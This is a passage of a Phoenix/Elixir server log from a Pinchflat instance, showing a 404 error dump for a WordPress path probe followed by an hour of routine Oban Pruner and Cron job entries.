"pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//cms/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKmqp9XTNSdcAA4WC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" } (truncated) 01:25:48.039 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.049 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:18.040 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:48.041 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.050 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:18.042 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:48.043 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.051 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:18.044 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:48.045 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.052 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:18.046 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:48.047 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.053 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:18.048 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:48.049 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.054 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:18.050 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:48.051 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.055 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:18.052 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:48.053 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.056 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:18.054 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:48.056 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.057 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:18.057 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:48.064 [info] {"source":"oban","duration":4016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.058 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:18.065 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:48.066 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.059 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:18.067 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:48.068 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.061 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:18.069 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:48.071 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.061 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:18.072 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:48.073 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.062 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:18.074 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:48.075 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.063 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:18.076 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:48.077 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.064 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:18.078 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:48.079 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.065 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:18.080 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:48.081 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.066 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:18.082 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:48.083 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.067 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:18.084 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:48.085 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.068 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:18.087 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:48.088 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.069 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:18.089 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:48.090 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.071 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:18.091 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:48.092 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.071 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:18.093 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:48.094 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.072 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:18.095 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:48.097 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.073 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:18.098 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:48.099 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.074 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:18.100 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:48.101 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.075 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:18.102 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:48.103 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.076 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:18.104 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:48.105 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.077 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:18.106 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:48.107 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.078 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:18.108 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:48.110 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.079 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:18.111 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:48.112 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.080 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:18.114 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:48.115 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.081 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:18.117 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:48.118 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.082 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:59:18.118 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:48.120 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.083 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:00:18.121 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:48.122 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.084 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:18.123 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:48.124 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.085 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:18.125 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:48.126 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.086 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:18.127 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:48.128 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.087 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:18.129 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:48.130 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.088 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:18.131 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:48.132 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.089 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:18.133 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:48.134 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.090 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:18.135 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:48.136 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.091 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:18.137 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:48.138 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.092 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:18.139 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:48.140 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.093 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:18.141 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:48.142 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.094 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:18.143 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:48.144 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.095 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:18.145 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:48.146 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.096 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:18.147 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:48.149 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.098 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:18.150 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:48.151 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.098 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:18.153 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:48.154 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.099 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:18.155 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:48.156 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.100 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:18.158 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:48.159 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.101 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:18.160 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:48.161 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.102 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:18.163 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:48.164 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.103 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:18.165 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:48.166 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.104 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:18.167 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:48.168 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.105 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:18.169 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:48.170 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.107 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:18.171 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:48.172 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.107 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:18.173 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:48.174 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.108 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:18.175 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:48.176 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.109 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:18.178 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:48.179 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.110 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:18.181 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:48.182 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.111 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:18.183 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:48.184 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.112 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:18.185 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:48.187 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.113 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:18.188 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:48.189 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.114 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:18.190 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:48.191 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.115 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:18.192 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:48.405 [info] {"source":"oban","duration":213321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 02:33:00.116 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:18.407 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 